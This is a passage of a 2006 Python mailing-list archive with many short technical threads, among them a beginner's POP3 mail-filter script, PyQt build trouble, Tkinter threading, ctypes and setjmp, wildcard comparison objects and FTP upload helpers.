the "key=function" argument to > > sort appropriately. But I actually have the key mapping in a big > > dictionary.so use a bound method: > > L.sort(key=key_dict.get) Duh! Why didn't I think of that... Thanks guys, that's perfect. -- George From paul at boddie.org.uk Tue Oct 10 07:23:08 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 10 Oct 2006 04:23:08 -0700 Subject: Python component model References: Message-ID: <1160479388.070289.149870@h48g2000cwc.googlegroups.com> Edward Diener No Spam wrote: > > In the typical RAD development environment, a particular component model > allows one to drop components, which are classes corresponding to a > particular inner representation which tells the development environment > what are the "properties" and "events" of that component, and > subsequently set "properties" for that component and add handlers for > its "events" visually. As others may have mentioned, Python has its own built-in support for properties: changing the state of an object with optional side-effects. Moreover, as you realise, Python also has capable introspection mechanisms to reveal such properties at run-time. However, things like event mechanisms are not generally standardised. [...] > OK, I have proselytized enough . Python is a great language and I > truly love it and its flexibility and ease of programming use. If there > is no impetus to create a component model for re-usable components for > visual RAD environments in Python, that's fine with me. But I thought > someone from the Python development community, given the use of visual > RAD environments for other languages as mentioned above, to create GUI > and large-scale applications, would have considered it. You might want to look into environments and tools such as Qt Designer together with PyQt. Whilst the PyQt mechanisms (really the Qt mechanisms exposed in Python) aren't standardised as such, you get event and property mechanisms which are actually quite powerful and which certainly seem to demonstrate many of the RAD environment capabilities you're interested in: you can write Python components which can be dropped into the Designer environment and they're responsive to introspection and interaction right there and then. See this presentation for more details: http://indico.cern.ch/contributionDisplay.py?contribId=33&sessionId=41&confId=44 Paul From fc14301589 at icqmail.com Sat Oct 7 08:08:46 2006 From: fc14301589 at icqmail.com (TheSaint) Date: Sat, 07 Oct 2006 20:08:46 +0800 Subject: Filter class References: <451e32e7_2@news.tm.net.my> Message-ID: <452798ce_1@news.tm.net.my> On 17:02, sabato 30 settembre 2006 TheSaint wrote: > Hello NG, > > Curious to know whether exists a filter class. > I'm doing some rough mail filtering on my own criteria, but I'm very new on > programming and I like to find some clue on passing a config file of rules > which will be regex by Python. > > TIA I went to study some long and I developed a small program, herebelow. But I'd appreciate if it vill come some suggestion for a pythonic cosmetic fashion :) Thank to everybody. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #! /usr/bin/env python """" Test the mailserver to clean unwanted mail""" from poplib import POP3 import ConfigParser , sys , os , re MULTILINE = 8 def call_POP(args): if len(args) != 4: return for cnt in range(len(args)): if args[cnt] =='' or args[cnt] == None : return a = POP3(args[0]) a.user(args[1]) print 'Server %s reply %s' %(args[0], a.pass_(args[2])) (numMsgs, totalSize) = a.stat() msg9 = '' for i in range(1, numMsgs +1): for hdrline in a.top(i,0)[1]: for argmn in args[3]: if not re.search(argmn[1], hdrline): continue lsenty = 0 if argmn[0].startswith('a') and not argmn[0].startswith('d'): continue #list only the messages that aren't matching if lsenty == i: continue # no duplicate messages fwrt.write('Msg No %03d\nTEST "%s" \n %s\n' \ %(i,argmn[1], hdrline)) lsenty = i fwrt.write('\n\n') a.quit() def get_mydir(file): if os.name == 'posix': adir = os.path.split(file)[0] afil = os.path.split(file)[1] if adir == '': adir = os.getcwd() for pth in ('~/', '$HOME/'): if pth in adir: adir = os.environ['HOME'] file = adir + '/' + afil if not os.path.exists(file): print 'Configuration file not found' return 0 return file if len(sys.argv) != 3: print 'Incorrect Number of arguments!' sys.exit(0) infil = get_mydir(sys.argv[1]) if not infil: sys.exit(0) opnfil = sys.argv[2] fwrt = open(opnfil,'w') cfg = ConfigParser.ConfigParser() cfg.read(infil) infil = '' fltr = 'Filters' if fltr in cfg.sections(): infil = cfg.items(fltr) for section in cfg.sections(): if section.lower() in ('setting', 'filters'): continue adir = 0 afil = {} for pth in ('server', 'user', 'pass'): afil[adir] = cfg.get(section, pth) adir += 1 afil[adir] = infil print 'Now trying to connect to ' + section call_POP(afil) fwrt.close() +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Also the config File enclosed (some detail is obscured for obvious purposes). ========================================================================== [Jaring] PASS = xxxxxxxxxxxxxxxxxxx USER = wwwwwwwwwwwwwwwwwwwww SERVER = eeeeeeeeeeeeeeeee [Vodafone] SERVER = popmmmmmmmmmmmmmm USER = godddllrrrrrrrrr PASS = rrettttttttttt [TMnet] SERVER = fgotttttttttee USER = gggggggrrrrrrdfng PASS = rrrrrrrrrrrrrrro [YahooIt] SERVER = ffpogakfbmb USER = fglkfrtrtthajl PASS = fg8uarewaehueh [Setting] #All section is not impemented. It's supposed to give either a filepath or # none LOG = no # obviously how much we want to know about the process VERBOSE = 3 # Some case we won't need errors from python and let the matter die as is SWALLOW_ERR = yes # some implementation of threading to have the way to log on # all the server in parallel PARALLEL = yes [Filters] # A = Allow (anything which starts with "a" is filtered as allowed) # to keep as good. A01 = ^From: .*\.cz A02 = ^(To|Cc): .*wwwwwwwwwwwwwwwwwwwww A03 = ^(To|Cc): .*godddllrrrrrrrrr@ A04 = ^(To|Cc): .*fglkfrtrtthajl@ A05 = ^(To|Cc): .*122951205u@ A06 = ^From: .*\.my # D = Deny (anything which starts with "a" is filtered as denied) and will # fill the list for deletion. D01 = ^From: .*\.com\.my D02 = \*\*\*SPAM\*\*\* ========================================================================== Let me say that is an experimental program for learning purpose, yet. More things should be implemented like : 1 Real deletion for those email listed in the report file. 2 a single group pattern for the regex search 3 Logging errors and all functions mentioned in the "Setting" section. 4 last but not least a GUI. The idea was born when i was looking for the "mailfilter" package for Arch Linux. Actually has been retired. Then I tought " It would be good if a platform indipendent program will do the same job or a bit more". Testing on win32 platform is good help. So, if somebody like to join, very welcome for all of the possible chances, please try to contact me at _fulvio AT tm DOT net DOT my_. Fulvio From baur79 at gmail.com Fri Oct 27 08:33:23 2006 From: baur79 at gmail.com (baur79 at gmail.com) Date: 27 Oct 2006 05:33:23 -0700 Subject: PyQt-x11-gpl-3.16 compile error Message-ID: <1161952403.534113.59630@f16g2000cwb.googlegroups.com> [root at localhost PyQt-x11-gpl-3.16]# python configure.py -q /usr/lib/qt-3.3/ This is the GPL version of PyQt 3.16 (licensed under the GNU General Public License) for Python 2.4.2 on linux2. Type 'L' to view the license. Type 'yes' to accept the terms of the license. Type 'no' to decline the terms of the license. Do you accept the terms of the license? yes qextscintillaglobal.h could not be found in /usr/lib/qt-3.3/include and so the qtext module will not be built. If QScintilla is installed then use the -n argument to explicitly specify the correct directory. Checking to see if the qtcanvas module should be built... Checking to see if the qtnetwork module should be built... Checking to see if the qttable module should be built... Checking to see if the qtxml module should be built... Checking to see if the qtgl module should be built... Checking to see if the qtui module should be built... Checking to see if the qtsql module should be built... Checking to see if the QAssistantClient class is available... Creating features file... Error: Unable to build mkfeatures utility. please help to fix the problem From mmanns at gmx.net Tue Oct 17 09:44:04 2006 From: mmanns at gmx.net (Martin Manns) Date: Tue, 17 Oct 2006 13:44:04 GMT Subject: Max-plus library In-Reply-To: <1161070611.259347.153100@i42g2000cwa.googlegroups.com> References: <1161070611.259347.153100@i42g2000cwa.googlegroups.com> Message-ID: S?bastien Boisg?rault wrote: > Robert Kern wrote: >> Martin Manns wrote: >>> Hello, >>> >>> Is there any library that allows employing max-plus dioids in >>> python (e.g. based on numpy/scipy)? >> Google says "no" and I haven't heard of any, so I imagine that there aren't. >> There might be something buried in some of the control theory packages, but as I >> neither know what max-plus dioids are, nor have I any current interest in them, >> I can't give you any better pointers. > > See http://cermics.enpc.fr/~cohen-g//SED/index-e.html for a two-page > introduction to the field and its applications. Definitely worth a look > IMHO. > > The second software you refer to > (http://www-rocq.inria.fr/MaxplusOrg/soft.html) is a Scilab package but > essentially made of C and Fortran files. Getting a working binding for > Python may not be that hard ... > Thank you for the fast replies. Since I currently have not the time to write bindings, I will probably have to stick to the Matlab implementation. Martin From steve at REMOVE.THIS.cybersource.com.au Tue Oct 31 07:17:02 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Tue, 31 Oct 2006 23:17:02 +1100 Subject: How can I import a script with an arbitrary name ? References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: On Tue, 31 Oct 2006 12:44:50 +0100, Fredrik Lundh wrote: > Steven D'Aprano wrote: > >> The only advantage (or maybe it is a disadvantage?) I can see to your >> function is that it doesn't search the Python path and you can specify an >> absolute file name. > > that's the whole point of doing an explicit load, of course. if you > think that's a disadvantage, you haven't done enough plugin work... Guilty as charged. -- Steven. From mail at microcorp.co.za Thu Oct 5 06:12:35 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Thu, 5 Oct 2006 12:12:35 +0200 Subject: Python/Tkinter crash. References: <7xlknv6sx7.fsf@ruckus.brouhaha.com> Message-ID: <00b401c6e866$c7b56560$03000080@hendrik> "Paul Rubin" wrote: > "Hendrik van Rooyen" writes: > > I am not sure how to do this - once I have called the Tkinter > > mainloop - that main thread is essentially event driven - and > > figuring out how to get it to poll a queue for content is not > > obvious - I suppose I could arrange some external wake up event that > > I could activate to make it look at the queue - must read up on > > this... > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965 > Thank you Paul - this shows how nicely! - Hendrik From tjreedy at udel.edu Tue Oct 3 23:54:28 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 3 Oct 2006 23:54:28 -0400 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><1159908166.587313.57370@i3g2000cwc.googlegroups.com><7xr6xo97nd.fsf@ruckus.brouhaha.com> <87ac4ciynk.fsf@benfinney.id.au> Message-ID: "Ben Finney" wrote in message news:87ac4ciynk.fsf at benfinney.id.au... > If we *know* that we can always get all the data out of the product, As I understood B.C.'s announcement, that was one of the judging criteria, and the plan is for PSF to get a daily backup dump of the data. tjr From klingens at web.de Sat Oct 14 14:25:46 2006 From: klingens at web.de (Alexander Klingenstein) Date: Sat, 14 Oct 2006 20:25:46 +0200 Subject: .doc to html and pdf conversion with python Message-ID: <1040822393@web.de> I need to take a bunch of .doc files (word 2000) which have a little text including some tables/layout and mostly pictures and comvert them to a pdf and extract the text and images separately too. If I have a pdf, I can do create the html with pdftohtml called from python with popen. However I need an automated way to converst the .doc to PDF first. Is there a way to do what I want either with a python lib, 3rd party app, or maybe remote controlling Word (a la VBA) by "printing" to PDF with a distiller? I already tried wvware from gwnuwin32, however it has problems with big image files embedded in .doc file(looks like a mmap error). Alex ______________________________________________________________________ XXL-Speicher, PC-Virenschutz, Spartarife & mehr: Nur im WEB.DE Club! Jetzt gratis testen! http://freemail.web.de/home/landingpad/?mc=021130 From cjw at sympatico.ca Tue Oct 3 19:46:08 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Tue, 03 Oct 2006 19:46:08 -0400 Subject: python html rendering In-Reply-To: References: Message-ID: Josh Bloom wrote: > Hey Pierre, > > I'm using this plug-in for wordpress to display Python code. > http://blog.igeek.info/wp-plugins/igsyntax-hiliter/ > It works pretty well and can display a lot of other languages as well. > > -Josh > > > On 10/3/06, *Pierre Imbaud* > > wrote: > > Hi, Im looking for a way to display some python code > in html: with correct indentation, possibly syntax hiliting, dealing > correctly with multi-line comment, and... generating valid html code if > the python code itself deals with html (hence manipulates tag > litterals. > Thanks for your help! > > -- > http://mail.python.org/mailman/listinfo/python-list > > Another approach is to use PyScripter (an editor and IDE). One can generate documentation and then save the generated html doc. Also PyDoc can be used directly. Colin W. From theller at python.net Fri Oct 6 15:14:34 2006 From: theller at python.net (Thomas Heller) Date: Fri, 06 Oct 2006 21:14:34 +0200 Subject: ctypes and setjmp In-Reply-To: <45259596$0$32011$afc38c87@news.optusnet.com.au> References: <45259596$0$32011$afc38c87@news.optusnet.com.au> Message-ID: Richard Jones schrieb: > Currently ctypes can't play well with any C code that requires use of setjmp > as part of its API. > > libpng is one of those libraries. > > Can anyone think of a reasonable solution to this? Perhaps ctypes might be > patched to offer setjmp support in foreign function definitions? > > > Richard > I didn't know that setjmp/longjmp is actually used by production libraries for error handling. How is this pattern used in C? Do you call setjump() before each api call, or do you call setjump once, and then do all the api calls? What do you do when setjmp() returns != 0? Exit the program? Log a message? How do you determine which call failed? How do you pass the jmp_buf that you passed to setjmp() to the api call? For ctypes, the only solution I can think of is to invent a new calling convention, which will call setjmp() first internally before calling the libpng api function... Thomas From fredrik at pythonware.com Mon Oct 9 06:15:04 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 12:15:04 +0200 Subject: Memory Management in python 2.5 References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com> <1160388096.896262.212990@m73g2000cwd.googlegroups.com> Message-ID: cesar.ortiz at gmail.com wrote: >I just checked the comsuptiom with the 'top' unix util. I am procesing > html docs and the amount of memory rises continiously. what library are you using for this ? > I am using a lot of lists and docs. Some of them with objects. Do i > have to make any special thing in order to get them released back to > the Memory Manager? For instantec.. is it enough to do a clear() in a > dictionary? the garbage collector should take care of that, unless you're doing something fishy. maybe you're keeping pointers to documents you've already processed in some data structure somewhere? From krm152 at bellatlantic.net Tue Oct 24 17:32:54 2006 From: krm152 at bellatlantic.net (ken) Date: Tue, 24 Oct 2006 21:32:54 GMT Subject: strange problem Message-ID: This file has 1,000,000+ lines in it, yet when I print the counter 'cin' at EOF I get around 10,000 less lines. Any ideas? lineIn = csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|') for emp in lineIn: cin=cin+1 print cin From grante at visi.com Tue Oct 31 14:03:46 2006 From: grante at visi.com (Grant Edwards) Date: Tue, 31 Oct 2006 19:03:46 -0000 Subject: 3d programming without opengl References: Message-ID: <12kf7gishr60ta3@corp.supernews.com> On 2006-10-31, nelson - wrote: > i want to build up a simple 3d interactive geometry application in > python. Since i want to run it without 3D acceleration (a scene will > be quite simple) If you just want slow, it's probably easier to use OpenGL and just put calls to time.sleep() in strategic places. > I was wondering if there was a library in python that allow me > to build 3D graphic without the need to use OpenGL.... I > google but i can't find nothing interesting... (the best would > be a pure python solution) Oy. A pure Python solution would probably be _really_ slow. -- Grant Edwards grante Yow! YOW!! Up ahead! It's at a DONUT HUT!! visi.com From duncan.booth at invalid.invalid Tue Oct 17 05:53:21 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 17 Oct 2006 09:53:21 GMT Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> <0dMYg.105676$5o5.58612@tornado.texas.rr.com> Message-ID: Jorgen Grahn wrote: >> >> - the wildcard object, which compares equal to everything else >> > [Paul] >> Paul> class MatchAny(object): >> Paul> def __cmp__(self,other): >> Paul> return 0 >> >> Paul> wild = MatchAny() > > FWIW, I define __eq__ in the one I (infrequently) use. The advantage to using __eq__ is that it fails to work correctly less often than __cmp__. Compare skip's example where comparison against datetime give the wrong answer 100% of the time with __cmp__ and 50% of the time with __eq__/__ne__: >>> import datetime >>> class MatchAny(object): def __cmp__(self,other): return 0 >>> wild = MatchAny() >>> print wild == datetime.datetime.now() False >>> print datetime.datetime.now() == wild False >>> print wild != datetime.datetime.now() True >>> print datetime.datetime.now() != wild True >>> class MatchAny(object): def __eq__(self,other): return True def __ne__(self,other): return False >>> wild = MatchAny() >>> print wild == datetime.datetime.now() True >>> print datetime.datetime.now() == wild False >>> print wild != datetime.datetime.now() False >>> print datetime.datetime.now() != wild True > >> ... >> >> You're at the mercy of the comparison machinery implemented by >> individual classes. Executing this script (using any of Python 2.3 >> through what's currently in the SVN repository): > ... > > Oh. /Is/ there a way of making it work, then? If we ignore the > problems with having such objects in the first place, that is. > In a contained environment, it can be made to work 'well enough'. So if you are writing unit tests and want a wildcard element to include inside data structures, AND you can guarantee that you always assert in the order expected,actual, then you can probably get away with it. That's assuming you remembered to use __eq__/__ne__ rather than __cmp__. For an object safe to let out in the wild though there isn't any way to implement it. From fakeaddress at nowhere.org Fri Oct 6 02:38:56 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Fri, 06 Oct 2006 06:38:56 GMT Subject: How can I correct an error in an old post? In-Reply-To: <1160096371.564954.132860@b28g2000cwb.googlegroups.com> References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> Message-ID: <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> Blair P. Houghton wrote: > But they do about 10 things totally wrong with Google groups that > I'd've fixed in my spare time in my first week if they'd hired me back > when I was interviewing with them. > > So if they want it to work, they know where to find me. Doesn't seem likely, does it? But don't let it stop you. You don't need Google's permission to build a better Usenet service. They don't have any copyright on the posts, or other special protection. I'm a former Googler myself and I use their service all the time, but if yours is better I'll switch. -- --Bryan From fredrik at pythonware.com Tue Oct 10 06:32:08 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 12:32:08 +0200 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com><452820C1.5020607@tim.thechases.com> <20061010114945.GA4478@dagan.sigpipe.cz> Message-ID: Roman Neuhauser wrote: > People who complain often fail to see how > > x = foo() > while x: > process(x) > x = foo() > > is safer than > > while x = foo(): > process(x) that's spelled: for x in foo(): process(x) in Python, or, if foo() just refuses be turned into a well-behaved Python citizen: while 1: x = foo() if not x: break process(x) (this is the standard "loop-and-a-half" pydiom, and every python pro- grammer should be able to identify it as such in a fraction of a second). or for the perhaps-overly-clever hackers, for x in iter(lambda: foo() or None, None): process(x) it's not like the lack of assignment-as-expression is forcing anyone to duplicate code in today's Python. also, in my experience, most assignment-as-expression mistakes are done in if-statements, not while-statements (if not else because if statements are a lot more common in most code). the "but it cuts down on duplication" argument doesn't really apply to if-statements. From scott.daniels at acm.org Thu Oct 12 19:26:11 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 12 Oct 2006 16:26:11 -0700 Subject: 3D Vector Type Line-Drawing Program In-Reply-To: References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> <452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08> <452d2474$1@nntp0.pdx.net> Message-ID: <452ec6e7$1@nntp0.pdx.net> Ron Adam wrote: > Scott David Daniels wrote: >> Ron Adam wrote: >>> ... Is there a way to have the display show a wire frame image instead of >>> shaded shapes? >> You can draw the edges as lines. > > Is there a setting for this?, or are you suggesting reading the > coordinates and creating curve objects for the edges? Nope, you'd have to make a poly line which was the wire frame, but it would then rotate and such with the rest of the model. Essentially you would, for each primitive, have a wire-frame and a volumetric version, and keep one of the two visible (with the other invisible) at all times. >>> Is there an easy way to convert a display to something that can be >>> printed? >> >> You can generate POV-ray source. This is not a system for creating >> beautiful pictures, but rather a great 3-D sketch pad. Now POV-ray _will_ create beautiful pictures, but the texturing, shading, and lighting control that POV-ray gives you exceeds that of VPython. You could use VPython to get you model built and view- point placed, and the tweak the POV-ray code to get pretty output. --Scott David Daniels scott.daniels at acm.org From fulvio at tm.net.my Fri Oct 20 08:59:42 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 20 Oct 2006 20:59:42 +0800 Subject: Use I the classes? Message-ID: <200610202059.43035.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** Hello, I'm used to put up programs (small right now), but I could find the only way to define some functions. I'm interested to split some function into class, but I don't have know-how for these beasts. Looking for documents (free download) which clearly explain the way of programming python classes and lots of examples as a bonus. Thanks F From bernard.chhun at gmail.com Thu Oct 12 10:17:15 2006 From: bernard.chhun at gmail.com (Bernard) Date: 12 Oct 2006 07:17:15 -0700 Subject: Click and Drag Functionality in Web Apps with Python In-Reply-To: References: Message-ID: <1160662635.646474.319830@i3g2000cwc.googlegroups.com> I'd say they use javascript to make a click and drag function. Like this jquery interface example: http://interface.eyecon.ro/demos/drag.html So basically, you could use a python web framework like Turbogears(http://www.turbogears.org/) or Django(http://www.djangoproject.com/) with javascript to create such effects. Bernard Wijaya Edward wrote: > Hi, > > Some recent webapps like Kiko , Google's gadget , and spreadsheets to name a few, > have this functionality. > > I wonder how can this funcitonalities be implemented in Python. > Do you guys have any experience with it? > Any Python module that support that? > > Regards, > Edward WIJAYA > SINGAPOE > > ------------ Institute For Infocomm Research - Disclaimer ------------- > This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. > -------------------------------------------------------- From codecraig at gmail.com Wed Oct 18 09:52:15 2006 From: codecraig at gmail.com (abcd) Date: 18 Oct 2006 06:52:15 -0700 Subject: Image.draft -- what are the modes that I can use? In-Reply-To: <1161179376.827555.239810@i3g2000cwc.googlegroups.com> References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> Message-ID: <1161179535.412341.255300@m7g2000cwm.googlegroups.com> oh and vnc2swf would not be an option, i cant be setting up a vnc server, etc. just need to use python (and necessary packages). animated gif would probably be best i am assuming. From aahz at pythoncraft.com Sat Oct 7 23:19:10 2006 From: aahz at pythoncraft.com (Aahz) Date: 7 Oct 2006 20:19:10 -0700 Subject: Names changed to protect the guilty References: <877izb1vwe.fsf@pobox.com> Message-ID: In article <877izb1vwe.fsf at pobox.com>, John J. Lee wrote: >aahz at pythoncraft.com (Aahz) writes: >> >> The following line of lightly munged code was found in a publicly >> available Python library... >> >> if schema.elements.has_key(key) is False: >> >> Sorry, just had to vent. > >I think I was reading the same code recently (epydoc?) and was also >momentarily horrified ;-) until I realized that it was quite >deliberately using three-valued logic (True, False, None) for some >presumably-sensible reason. Since None is false, they had to use >"is". So, given the need for three-valued logic, it's not as silly as >it looks. My take is that even in that case, one should use "is" only with None. There is too much ground for bugs with True/False, particularly if you either intend to work across version *or* you might possibly accept a user's object (because *they* might be working across versions and therefore returning 1/0 instead of True/False). I think it's safest to simply ban this idiom. No exceptions, never. And, no, this wasn't epydoc. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From tgrav at mac.com Thu Oct 19 12:32:44 2006 From: tgrav at mac.com (Tommy Grav) Date: Thu, 19 Oct 2006 12:32:44 -0400 Subject: Calling functions Message-ID: I have a small program that goes something like this def funcA() : pass def funcB() : pass def funcC() : pass def determine(f): t = f() return t What I would like to do is be able to n = determine(funcA) m = determine(funcB) But I can't really figure out how to do this (I think it is possible :) Cheers Tommy tgrav at mac.com http://homepage.mac.com/tgrav/ "Any intelligent fool can make things bigger, more complex, and more violent. It takes a touch of genius -- and a lot of courage -- to move in the opposite direction" -- Albert Einstein -------------- next part -------------- An HTML attachment was scrubbed... URL: From fredrik at pythonware.com Thu Oct 12 12:33:00 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 18:33:00 +0200 Subject: python 2.5 & sqlite3 In-Reply-To: References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> <1160616758.718092.210130@m73g2000cwd.googlegroups.com> Message-ID: John Salerno wrote: > Now, if the ActiveState distro *doesn't* include the libraries, then I > would probably call it broken too. :) if it doesn't, it wouldn't be the first time they'd (by accident or on purpose) left things out. trust me, it'd cause a lot less confusion if ActivePython was a true superset of the python.org distribution. From python.list at tim.thechases.com Tue Oct 31 12:50:07 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 31 Oct 2006 11:50:07 -0600 Subject: scared about refrences... In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> <1162248250.994200.13450@m7g2000cwm.googlegroups.com> <1162254191.507805.276640@k70g2000cwa.googlegroups.com> <1162315016.354163.18950@i42g2000cwa.googlegroups.com> Message-ID: <45478CCF.2050000@tim.thechases.com> > I don't know how to make this structure immutable... Pickle > it? Seems very inefficient to me... Well, classes can be made mostly immutable by intercepting the attempts to write to it...something like class Foo(object): def __setattr__( self, name, val ): raise TypeError("I'm sorry, Dave. You can't do that.") It might also be feasible to do something like this with a decorator...? > Every time I pass a variable now I will worry that it will be > changed by the function... I haven't worried about things like > this since the very early days of BASIC.... I don't know.. > maybe I have more to learn. Well, there are at least solutions to this paranoia that occur to me: -make a deep-copy of the object in question before calling the function, and then pass the copy to the function so that it can't alter the original -trust/read the functions' documentation. Most functions that alter the contents of their parameters are kind enough to note as much. If functions go bunging with your parameters without documenting it, the function's coder needs to be smacked. -tkc From fredrik at pythonware.com Fri Oct 20 01:10:23 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 07:10:23 +0200 Subject: is it possible to send raw data through ftp? In-Reply-To: <1161318367.007363.191360@b28g2000cwb.googlegroups.com> References: <1161318367.007363.191360@b28g2000cwb.googlegroups.com> Message-ID: daniel wrote: > well, I'm trying to use ftplib to upload data that received from > socket, and the application is required to restart the transfer at a > specific interval so as to generate a different target file on the > server to store subsequent data. > the problem is 'storbinary' accepts only file-like object "storbinary" works with anything that has a "read" method that takes a buffer size, so you can wrap the source stream in something like: ## # File wrapper that reads no more than 'bytes' data from a stream. Sets # the 'eof' attribute to true if the stream ends. class FileWrapper: def __init__(self, fp, bytes): self.fp = fp self.bytes = bytes self.eof = False def read(self, bufsize): if self.bytes <= 0: return "" data = self.fp.read(min(bufsize, self.bytes)) if not data: self.eof = True self.bytes -= len(data) return data source = open(...) while 1: cmd = "STOR " + generate_file_name() f = FileWrapper(source, 1000000) ftp.storbinary(cmd, f) if f.eof: break From onurb at xiludom.gro Thu Oct 5 13:31:02 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 05 Oct 2006 19:31:02 +0200 Subject: Access to static members from inside a method decorator? In-Reply-To: <1160061499.579029.9130@k70g2000cwa.googlegroups.com> References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> <4524c9bb$0$23498$426a74cc@news.free.fr> <1160061499.579029.9130@k70g2000cwa.googlegroups.com> Message-ID: <45254157$0$2728$426a74cc@news.free.fr> glen.coates.bigworld at gmail.com wrote: > Bruno Desthuilliers wrote: (snip) >> class Exposing(object): >> @classmethod >> def get_exposed_methods(cls): >> try: >> exposeds = cls._exposed_methods >> except AttributeError: >> exposeds = [] >> for name in dir(cls): >> obj = getattr(cls, name) >> if exposed(obj): >> exposeds.append(obj) >> cls._exposed_methods = exposeds >> return exposeds >> >> class Parrot(Exposing): >> @expose >> def parrot(self, what): >> return "%s says %s" % (self, str(what)) > > Thanks Bruno. I came up with a similar solution today at work, which > involves an 'init' method which is called at the bottom of each module > that defines subclasses of Exposed and sets up static mappings for the > exposed methods. I guess my solution is slightly less elegant because > it requires this ugly explicit init call outside the classes that it > actually deals with, This is only a problem in a framework-style use. > however it is more efficient because the dir() > pass happens once on module load, instead of every time I want the list > of exposed methods. I think you have missed a point in my solution : the 'collect' pass happens only once for each class - the first time the get_exposed_methods is called on the class (or any instance of). It's then memoized for latter calls. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From hg at nospam.com Wed Oct 18 14:27:32 2006 From: hg at nospam.com (hg) Date: Wed, 18 Oct 2006 13:27:32 -0500 Subject: tkinter won't play In-Reply-To: References: Message-ID: Carl Wenrich wrote: > I installed python 2.4.4 from source. When I try to > run the demo tkinter (hello.py) script, I get a > message saying my python may not be configured for Tk. Under *nix ? Make sure you have the tcl/tk source installed also. hg From bignose+hates-spam at benfinney.id.au Mon Oct 30 18:51:56 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 31 Oct 2006 10:51:56 +1100 Subject: dict problem References: <1161772147.307847.65630@h48g2000cwc.googlegroups.com> <87y7r4mwso.fsf@benfinney.id.au> <453F5401.3020607@helsinki.fi> <87pscgmrp1.fsf@benfinney.id.au> <4545D637.6000205@helsinki.fi> Message-ID: <87r6wp8iqr.fsf@benfinney.id.au> Alistair King writes: > heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest > atom for which you obtained percentage values for, but not Oxygen, eg, > 'C', 'N', 'S', 'Br'...: ") > > print DSvalues > > def updateDS1v(Fxas, x): > if Fxas != 0: > value = DSvalues.get(heavy) > floatvalue = float(value) > atoms = DS1v.get(x) + Fxas*floatvalue > DS1v[x] = atoms > > updateDS1v(FCas, 'C') > > print DS1v I see from later posts that you have found solutions to your current issues. Just a note on what you posted: Please make sure that you post your message as plain text. As you can see from what I quoted above, the indentation is completely lost in the code you posted. -- \ "We cannot solve our problems with the same thinking we used | `\ when we created them." -- Albert Einstein | _o__) | Ben Finney From steve at holdenweb.com Tue Oct 24 11:52:39 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Oct 2006 16:52:39 +0100 Subject: return same type of object In-Reply-To: References: Message-ID: David Isaac wrote: > Instances of MyClass have a method that > returns another instance. Ignoring the details > of why I might wish to do this, I could > return MyClass() > or > return self.__class__() > > I like that latter better. Should I? > Should I do something else altogether? > The latter solution is more Pythonic, IMHO, as it works for subclasses. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From ebgssth at gmail.com Fri Oct 13 12:08:37 2006 From: ebgssth at gmail.com (js ) Date: Sat, 14 Oct 2006 01:08:37 +0900 Subject: Where can I find good python code? Message-ID: Hi, I've learned basics of Python and want to go to the next step. So I'm looking for good python examples I steal good techniques from. I found Python distribution itself contains some examples in Demo directory. I spent some time to read them and I think they're good but seemed not so practical to me. Any recommendations? From fredrik at pythonware.com Wed Oct 25 11:50:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 17:50:57 +0200 Subject: Python's CRT licensing on Windows <-- FUD In-Reply-To: 